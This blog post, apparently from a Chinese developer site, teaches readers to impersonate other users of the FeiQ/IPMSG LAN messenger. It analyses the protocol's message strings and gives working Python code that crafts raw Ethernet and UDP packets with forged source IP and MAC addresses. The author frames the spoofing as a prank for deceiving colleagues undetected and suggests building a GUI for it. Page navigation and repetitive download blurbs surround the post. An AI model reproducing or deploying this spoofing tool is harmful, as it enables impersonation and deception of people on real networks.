- 浏览: 75454 次
- 性别:
- 来自: 厦门
文章分类
最新评论
-
覃永波:
引用[*][img][/img][url][/url]
java 读取txt,java读取大文件 -
bits00:
...
tcpdump网摘
我们常在局域网内用飞鸽进行沟通、文件传输。有天突发奇想,要是我能冒充某给人给另外一个人发送飞鸽消息,该多有趣?有了想法,就该去实现,不然就是空想了。。不过还真空想了段时间,但最后还是写出了个小程序,和大家分享下。
要想冒充他人,首先得了解下飞鸽协议(见http://zhidao.baidu.com/question/41558223.html)。由于我们大多数人用的都是飞秋,所以就直接分析飞秋了。
飞秋协议实际上飞鸽协议的扩展,比飞鸽稍微复杂点。首先看个简单的例子,我们以编程的方式,自己给自己发条消息。看代码和截图:
- >>> import socket
- >>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- >>> udp.connect(('localhost',2425))
- >>> udp.send('1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?~~')
- 51
- >>>
简单说明下代码:
飞鸽运行时,会监听UDP和TCP的2425端口,所以我们首先要和本地建立UDP连接,TCP连接一般用来发送文件等。
1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?~~是飞鸽的协议字符串,
1表示版本号,100标识包号,flyingzl表示用户名,第二个flyingzl表示主机名,32表示发送消息,后面的表示要发送的消息内容。
这是飞鸽的协议,后面我们会看到飞鸽和飞秋又有所不同。
我们可以通过socket连机其他人的飞秋并给他们发送消息,但是通过socket发送出去的数据包会默认带上我们自己的ip地址和mac地址,怎么样才能修改这些数据包呢?
有办法,windows上不是有wincap么,linux上不是有libnet么,它们都有python扩展,叫做sendpkt,直接调用就好了。关于怎么使用,可以看之前我的帖子 http://www.iteye.com/topic/600032#1696365
通过调用sendpkt,我们可以自己构造以太网数据包,自己定义源ip地址和源mac地址,这样就神不知鬼不觉地欺骗他人。。
现在的问题是:怎么构建以太网数据包。
由于飞秋发送消息是采用UDP协议,所以我们只需要构建一个UDP数据包,然后加上我们的内容就可以了。构建以太网数据包可以采用dpkt,非常方便。
现在,我们用wireshark来分析飞秋的协议。。打开个飞鸽,点击刷新,就能看到wireshark捕获的数据包:
飞秋上线时,首先会发送广播,告诉网内的其他飞秋,有新人上线,你们马上动起来,把他加入自己的好友,并问候他一下,这样,对方飞鸽里面就看到你的飞秋了。然后对方也会把自己的信息发给你,你的飞秋中也就有了他。
我们把截获的代码拷出来,就是 1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:6291457: 别看这个字符串很复杂,其实它就是飞鸽的扩展,也是分为几段。
1_lbt4_10#32899#002481627512#0#0#0 版本号,不过飞秋有很多自己的定制化,比如是否显示太阳等,32899就表示一个太阳和一个月亮,002481627512表示发送者的mac地址,后面的三个0不知道啥意思,有兴趣的童鞋好好分析下,和大家一起交流交流
1289671407 也就是包序号了。
Administrator是用户名
MICROSO-697TGLD 是主机名
6291457是命令字表示上线。还有一些其他的,比如288表示发送消息,6291457表示下线,还有晃屏啥的,大家有兴趣可以自己去分析。由于我只想发送消息,所以只需要修改下命令字为288即可。
下面就是一个发送消息的命令字:
1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:288:一日不见,如三月兮
- >>> import socket
- >>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- >>> udp.connect(('localhost',2425))
- >>> udp.send('1_lbt4_10#32899#002481627512#0#0#0:1289671407:flyingzl:flyingzl:288:一日不见,如三月兮')
- 86
- >>>
细心的同学已经发现,这次截图和上次截图显示不一样,上次截图显示的是飞鸽图标,这次却是飞秋图标。呵呵。。因为我们发送的是飞秋命令字。。
有了飞秋命令字,我们就可以构建数据包,发送修改过的飞秋数据包了。。啥都不说了,上代码:
- #coding=utf-8
- import dpkt
- import sendpkt
- from socket import inet_aton
- from time import strftime
- import socket
- import types
- import uuid
- #本地网关MAC地址,可以通过如下方式获取:
- #C:\Users\Administrator>arp -a
- #接口: 192.168.0.100 --- 0xb
- # Internet 地址 物理地址 类型
- # 192.168.0.1 00-03-47-ca-e4-5c 动态
- MASK_MAC='1c-af-f7-c0-65-a8'
- def get_local_mac():
- '''''
- 获得本机Mac地址
- '''
- mac=uuid.uuid1().hex[-12:]
- return '-'.join([mac[(i-1)*2:2*i] for i in range(1,7)])
- def send_msg(kwargs):
- '''''
- 发送消息,kwargs参数为一个dict对象
- '''
- if type(kwargs) is not types.DictType:
- return
- #本机ip地址
- local_ip=kwargs.get('src',socket.gethostbyname(socket.gethostname()))
- #转码后的源ip地址
- src_ip=inet_aton(local_ip)
- #转码后的目的ip地址
- dst_ip=inet_aton(kwargs.get('dst'))
- #本机mac地址
- local_mac=kwargs.get('src_mac',get_local_mac())
- #转码后的源mac地址
- src_mac=pack_mac(local_mac)
- #判断remote_ip和local_ip是否在同一个网段
- #转码后的目的mac地址
- dst_mac=pack_mac(kwargs.get('dst_mac'))\
- if trans(local_ip)==trans(kwargs.get('dst')) else pack_mac(MASK_MAC)
- host=kwargs.get('host',socket.gethostname())
- user=kwargs.get('user','User')
- msg=kwargs.get('msg','Hello')
- #找到第一个网络端口,根据自己的情况修改
- #安装了VirtualBox、VMWare或者有无线网卡的同学得自己修改下
- device=sendpkt.findalldevs()[0]
- #飞鸽监听本地的UDP 2425端口
- udp=dpkt.udp.UDP(dport=2425,sport=2425)
- #向飞鸽发送消息命令字
- #6291458表示下线
- #6291457表示上线
- #288表示发送信息
- #如果是飞秋,65664这个状态会在对方上显示为两个太阳
- msg="1_lbt4_10#65664#%s#0#0#0:%s:%s:%s:288:%s" \
- %(local_mac.replace('-',''),int(strftime('%m%d%H%M%S'))+100000000,user,host,msg)
- msg=msg.encode("gbk")
- udp.data+=msg
- udp.ulen=len(udp)
- ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)
- #重新计算ip的长度,不然消息发送不出去
- ip.len=len(ip)
- ether=dpkt.ethernet.Ethernet(
- dst=dst_mac,
- src=src_mac,
- type=0x0800,
- data=ip
- )
- sendpkt.sendpacket(str(ether),device)
- def trans(ip,mask='255.255.255.0'):
- '''''
- 判断两个ip地址是否在同一个网段
- '''
- str=[]
- ip=ip.split(".")
- mask=mask.split(".")
- for index,item in enumerate(ip):
- str.append(int(item)&int(mask[index]))
- return str
- def pack_mac(mac,pattern='-'):
- '''''
- 网卡地址转为以太网Mac地址
- 例如将"08-00-27-ba-f7-e5"转为"\x08\x00'\xba\xf7\xe5"
- '''
- mac=mac.split(pattern.lower())
- return "".join([chr(int('0x'+x,16)) for x in mac])
- if __name__=="__main__":
- s={
- 'src':'192.168.0.106',
- 'dst':'192.168.0.100',
- 'src_mac':'00-15-AF-AE-E6-C0',
- #这个地址最好别写错,可以从飞鸽上看到好友的Mac地址
- 'dst_mac':'00-24-81-62-75-12',
- 'host':'哈哈',
- 'user':'呵呵',
- 'msg':'加班呀?'
- }
- send_msg(s)
代码我就不解释了,大家可以看里面的注释,写得比较明白。。我们来测试下,看看效果。。。从之前的图片上可以看到,我飞秋上就两个好友,我们现在要凭空造出来一个,他的ip是192.168.0.106,mac是00-15-AF-AE-E6-C0
运行后,可以看到这样的结果:
貌似是可以欺骗成功了。。不过如果要欺骗其他网段的飞秋好友,一定要修过代码中的MASK_MAC字段,大家用wireshark分析飞秋的UPD数据包就知道了。。。
如果大家有兴趣,可以自己做个图形化的界面,比如web页面,可以图形化的进行欺骗。。。那就有意思了,比如:
呵呵,就此告一段落。。。如果大家都挺关注,我就把code都发上来吧。。。。最后,希望本人能抛砖引玉,让大家发挥出刚强的创造力。。。祝各位周末愉快 :)
发表评论
-
主题:边读边写【7】 ----java 多线程实战【Thread /Executors】(转)
2012-04-23 11:39 1389http://www.iteye.com/topic/1122 ... -
牢骚一下,JavaFx 2.0太坑人了
2012-04-18 20:45 17用了半周看了下JavaFx2.0 ,看官方例子感觉还不 ... -
Java中一些关于日期、日期格式、日期的解析和日期的计算 (转)
2012-04-12 11:00 0http://www.blogjava.net/Jkallen ... -
操作property文件(转)
2012-04-12 10:51 965对于一些常量我们经 ... -
Java 系统运行时性能和可用性监控
2012-04-12 10:40 1182简介: 当今的许 ... -
Jconsole_一个监控JVM资源的JDK自带小工具 (转)
2012-04-12 10:32 1223最近一直忙着测一个tomcat的接口,测试中LR总出现2779 ... -
探索JVM运行状态的利器—JVMPI,HPROF_剑_百度空间 (引)
2012-04-12 10:29 1387.什么是JVMPI?Java Virtual ... -
JVM jvmpi (转)
2012-04-12 10:18 1571转自 http://chain.blog.163.com/bl ... -
java 格式化小数
2012-03-09 16:53 1522DecimalFormat 是 NumberForm ... -
org.apache.commons.net.ftp.FTPClient 例子(转)
2012-03-02 09:26 1463转自 http://zhangnet1.iteye.com/b ... -
java查询一次性查询几十万,几百万数据解决办法(转)
2012-02-29 09:15 1002java查询一次性查询几十万,几百万数据解决办法 很早 ... -
java 读取txt,java读取大文件
2012-02-26 19:39 2117java 读取txt,java读取大文件 设置缓存大小 ... -
StringUtils用法+StringUtils详细介绍
2012-02-26 19:38 933StringUtils用法+StringUtils详细介绍博文 ... -
java 字节流网址收藏(暂)
2012-02-07 10:43 749Java I/O关于缓冲区部分提高性能的源码分 ... -
String类substring方法导致的Java内存泄漏问题 (转)
2012-01-06 10:10 1447此问题在项目中被发现,经查看JDK源码(JDK1.6), ... -
Swing 线程之SwingUtilities.invokeLater()(转)
2012-01-06 10:00 1224声明:本文章转自 http://blog.csdn.ne ... -
Swing 线程之SwingUtilities.invokeLater() (转)
2012-01-06 09:59 2声明:本文章转自 http://blog.csdn.net/b ... -
Java Swing GUI多线程之SwingUtilities.invokeLater和invokeAndWait
2012-01-05 16:55 5438在Java中Swing是线程不安全的,是单线程的设计, ... -
用java.util.Timer定时执行任务
2012-01-05 16:11 844如 ... -
ubuntu java配置
2011-12-30 20:54 1082Ubuntu10.10安装sun-Java6-jdk ...
相关推荐
【飞鸽】是一款知名的即时通讯软件,主要用于实现个人与个人、个人与团队之间的高效通信和文件传输。在IT行业中,飞鸽(iFlytek)可能指的是科大讯飞公司的产品,这家公司在中国语音识别和人工智能领域有着重要的...
飞鸽 飞鸽 飞鸽飞鸽 飞鸽 飞鸽
飞鸽传输软件,又名“飞鸽飞鸽”,是一款专为局域网设计的高效、便捷的数据传输工具。它在企业、学校等需要快速分享文件的环境中广泛应用,因其简单易用和快速传输的特点深受用户喜爱。飞鸽软件的核心功能是通过...
"飞鸽传书"是一款基于局域网的即时通讯软件,尤其在早期互联网不发达的时期,它在企业内部通信中被广泛应用。该软件的名字来源于中国古代的一种信息传递方式——用鸽子来传递书信,寓意着快速、准确的信息传递。 ...
《基于Qt的飞鸽传书系统详解》 在IT领域,快速、稳定、安全的文件传输是不可或缺的一部分,尤其在局域网环境中的文件共享和通信。本文将深入探讨一个利用Qt框架实现的飞鸽传书系统,它不仅能够进行文件传输,还支持...
飞鸽传书(iPMSG)是一款源自日本的局域网即时通讯软件,因其小巧、易用的特点,在2000年代初期广受用户欢迎,尤其是对于需要在局域网内进行快速通信的企业和团队。"飞鸽2007"是这个软件的一个特定版本,可能包含了...
"飞鸽"是一款知名的即时通讯软件,主要用于个人和企业之间的信息交流。在IT行业中,即时通讯软件扮演着至关重要的角色,它们提供了快速、便捷的沟通方式,极大地提升了工作效率。飞鸽作为这类软件的一员,拥有丰富的...
《C++飞鸽源代码解析与编译指南》 在信息技术领域,源代码是软件开发的基础,它揭示了程序的工作原理。"C++飞鸽源代码"是一个专注于C++编程语言实现的即时通讯软件——飞鸽传书的源代码。这份资源提供了深入理解...
c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书系统c语言飞鸽传书...
【企业飞鸽短信版】是一款广泛应用于企业及高校的通讯工具,主要功能在于招生宣传和其他内部或外部的信息传递。这款软件以其高效、便捷的特性,成为众多机构进行短信沟通的首选。 首先,从“企业飞鸽”这个标签,...
飞鸽传书,又名iPigeon,是一款在2000年代初期非常流行的局域网即时通讯软件。这款软件以其便捷的文件传输、快速的消息传递以及对局域网环境的良好适应性,在那个互联网速度相对较慢的时代,深受用户喜爱。标题提到...
飞鸽传书IP加速器
飞鸽传书.exe 飞鸽传书.exe 飞鸽传书.exe
飞鸽传书(IPMSG)是一款历史悠久的局域网即时通讯软件,因其高效、便捷的文件传输功能而在用户中广受欢迎。2007版的飞鸽是该软件的一个经典版本,它集成了多种实用特性,旨在提供稳定、快速的通信体验。 1. 文件...
飞鸽传书是一款在局域网环境中广泛应用的文件传输工具,尤其适合于快速分享大文件。它的设计初衷是为了提供一种简单、快捷的方式来替代传统的通过邮件或者云存储服务进行的大文件传输方式,尤其在没有互联网连接或者...
飞鸽传书(iPigeon)是一款历史悠久的局域网即时通讯软件,因其小巧、易用、免费的特点,深受用户喜爱。标题“飞鸽2010最新下载”指的是该软件的2010年更新版本,可能是该年度的一个重大升级或优化版,为用户提供更...
"飞鸽for Mac OS"是一款专为苹果Mac操作系统设计的即时通讯软件,它允许用户在Mac平台上实现与其他操作系统,如Windows,的跨平台信息交流。作为一款高效且实用的通信工具,飞鸽提供了类似的功能,使得Mac用户可以...
飞鸽传书2010是一款历史悠久的局域网通信软件,主要应用于个人电脑和企业内部网络中的文件传输和即时通讯。它以其高效、稳定、免费的特点,在2010年时期深受用户喜爱,尤其在那个互联网速度相对较慢的时代,飞鸽传书...
《飞鸽传书3.1:局域网通信的便捷选择》 飞鸽传书,作为一款备受青睐的局域网通讯软件,以其简洁的交互界面和稳定的性能赢得了广大用户的喜爱。飞鸽传书3.1版本在此基础上进一步优化了用户体验,使其在便捷性和稳定...